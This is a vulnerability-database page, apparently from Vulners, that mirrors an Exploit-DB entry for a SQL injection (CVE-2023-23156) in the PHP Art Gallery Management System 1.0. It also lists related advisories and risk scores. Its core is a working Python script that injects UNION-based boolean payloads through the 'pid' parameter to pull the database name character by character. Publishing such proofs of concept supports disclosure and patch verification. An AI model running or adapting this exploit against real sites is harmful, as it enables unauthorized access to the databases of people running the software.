Lucene search
K

Art Gallery Management System Project in PHP v 1.0 - SQL injection

🗓️ 06 Apr 2023 00:00:00Reported by Yogesh VermaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 257 Views

Art Gallery Management System PHP v 1.0 SQL injection exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Art Gallery Management System Project in PHP v 1.0 - SQL injection Vulnerability
6 Apr 202300:00
zdt
ATTACKERKB
CVE-2023-23156
27 Feb 202316:15
attackerkb
Circl
CVE-2023-23156
6 Apr 202300:00
circl
CNNVD
Art Gallery Management System SQL注入漏洞
27 Feb 202300:00
cnnvd
CVE
CVE-2023-23156
27 Feb 202300:00
cve
Cvelist
CVE-2023-23156
27 Feb 202300:00
cvelist
NVD
CVE-2023-23156
27 Feb 202316:15
nvd
Prion
Sql injection
27 Feb 202316:15
prion
Positive Technologies
PT-2023-18863 · Unknown · Art Gallery Management System Project
27 Feb 202300:00
ptsecurity
RedhatCVE
CVE-2023-23156
23 May 202502:36
redhatcve
Rows per page
# Exploit Title: Art Gallery Management System Project in PHP v 1.0 - SQL injection
# Date: 31-01-2023
# Exploit Author: Yogesh Verma
# Vendor Homepage: https://y0gesh-verma.github.io/
# Software Link: https://phpgurukul.com/art-gallery-management-system-using-php-and-mysql/, https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on: Windows/Linux
# CVE : CVE-2023-23156



#!/usr/bin/python
import sys
import requests

tmp = requests.Session()
db_name = ""
database = ""
if len(sys.argv) == 2:
    url = sys.argv[1]
    for i in range(1, 7):
        for j in range(32, 126):
            sql_payload = f"'UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,(select*from(select (ascii(substr(database(),{i},1))={j}))a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL'"
            data = {'pid': '-1' + sql_payload}
            r = tmp.get(url, params=data)
            if "Dimension : 1" in r.text:
                db_name += chr(j)
    database += db_name
    if len(db_name)>1:
        print('\n'+"Fetching current database :")
        print(database)
        print('\n'+"vulnerable to CVE-2023-23156")
    else:
        print("Not vulnerable to CVE-2023-23156")
else:
    print("Error: Please provide the URL as an argument.")
    print("Example: script.py https://example.com/single-product.php")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Apr 2023 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
EPSS0.03654
257